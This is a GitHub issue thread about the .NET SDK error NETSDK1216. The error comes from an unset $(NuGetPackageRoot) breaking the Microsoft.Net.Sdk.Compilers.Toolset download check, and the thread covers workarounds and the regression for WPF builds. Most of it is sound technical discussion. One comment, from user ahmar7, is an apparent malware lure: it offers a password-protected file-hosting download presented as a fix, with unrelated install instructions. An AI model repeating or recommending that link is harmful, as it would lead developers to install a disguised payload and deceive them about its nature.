Microsoft.Net.Sdk.Compilers.Toolset download check fails because NuGetPackageRoot is unset in some scenarios

[jjonescz]

Related to #41791 and #42087.

The error is:

NETSDK1216: Package Microsoft.Net.Sdk.Compilers.Toolset is not downloaded but it is needed because your MSBuild and SDK versions are mismatched. Ensure version {0} of the package is available in your NuGet source feeds and then run NuGet package restore from Visual Studio or MSBuild.

It happens because $(NuGetPackageRoot) is unset, hence <RoslynTargetsPath>$(NuGetPackageRoot)\microsoft.net.sdk.compilers.toolset\$(NETCoreSdkVersion)</RoslynTargetsPath> points to an invalid location, hence the download check fails.

For example, $(NuGetPackageRoot) is unset in these scenarios:

• msbuild.exe '/t:Restore;Build' (but it's fine when running with /restore /t:Build)
  • [Built-in analyzer] Flag shared evaluations between restore and build targets msbuild#9553
  • MSBuild-task equivalent of "msbuild.exe /restore /t:Target" msbuild#2811
• in the inner build started by task GenerateTemporaryTargetAssembly when building WPF on .NET Framework
  • NETSDK1221 warning for wpftmp.csproj projects #44605

In the following, the toolset package download was completely disabled likely because it was failing due to this bug:

• Fix AxHosts.csproj build errors with Preview 7 SDK winforms#11878
• e9e9566

Similar issue:

• Under SDK version >= 8.0.300 many NuGet-related properties are no longer set during evaluation msbuild#10504

A workaround for this issue is being added in #42860.

I couldn't figure out the best area label to add to this issue. If you have write-permissions please help me learn by adding exactly one area label.

I couldn't figure out the best area label to add to this issue. If you have write-permissions please help me learn by adding exactly one area label.

[ahmar7]

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

[icom85]

Hello! I am getting the same error trying to build one of our solutions on a windows-latest agent inside Azure DevOps and with the latest .NET 9 SDK (9.0.100-preview.7.24407.12). We use the MSBuild@1 task to launch a classic msbuild project which does couple of other things and at the end tries to build the solution like this:

<Exec Command='$(MSBuild17ExePath) $(WinFormsNetCoreSolutionPath) /p:Configuration=$(NetCoreBuildConfiguration);Platform=&quot;$(WinFormsBuildPlatform)&quot;;WarningLevel=0;TreatWarningsAsErrors=false /t:Rebuild'/>

Is there a workaround, I see that one is mentioned above but could not figure out how to use it? Also, some of the related issues are now closed. Will a fix be available with a future preview version of .NET 9?

[icom85]

It seems that /t:Restore;Rebuild did the trick and I am able to build on the agent.

[jjonescz]

It seems that /t:Restore;Rebuild did the trick and I am able to build on the agent.

Doing /restore /t:Rebuild should be the best solution I think.

[KirillOsenkov]

this basically breaks the build for all WPF desktop projects, let's make sure we fix this before the release if at all possible

[jjonescz]

#43119 is a workaround for this - with that no builds should be broken except for a warning

[KirillOsenkov]

hmm a warning is still a regression for all legacy WPF, this is concerning

[jjonescz]

all legacy WPF

only if you are in a torn SDK state (i.e., a new SDK and an old MSBuild)